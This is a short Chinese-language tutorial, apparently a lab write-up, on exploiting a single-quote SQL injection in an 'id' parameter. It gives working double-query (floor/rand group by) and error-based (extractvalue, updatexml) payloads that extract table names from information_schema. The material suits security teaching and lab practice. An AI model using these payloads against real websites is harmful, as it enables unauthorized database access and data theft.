方法一:双注入
输入id=1’,报错:
通过报错信息可以知道是单引号闭合语句。而且通过输入id=1 和 id = -1 知道正常页面没有输出查询内容的地方,所以只能让信息从报错语句进行显示。使用双注入进行爆破。
进行双注入:
?id=-1’ union select 1,2,count(*) from information_schema.columns group by concat(floor(rand()*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)) --+
通过更改limit函数的参数来查询更多内容。
方法二:报错注入
报错注入是双注入的一种。
extractvalue()函数报错注入:
?id=-1’ union select 1,2,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))–+
updatexml()函数报错注入:
?id=-1’ union select 1,2,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)),1)–+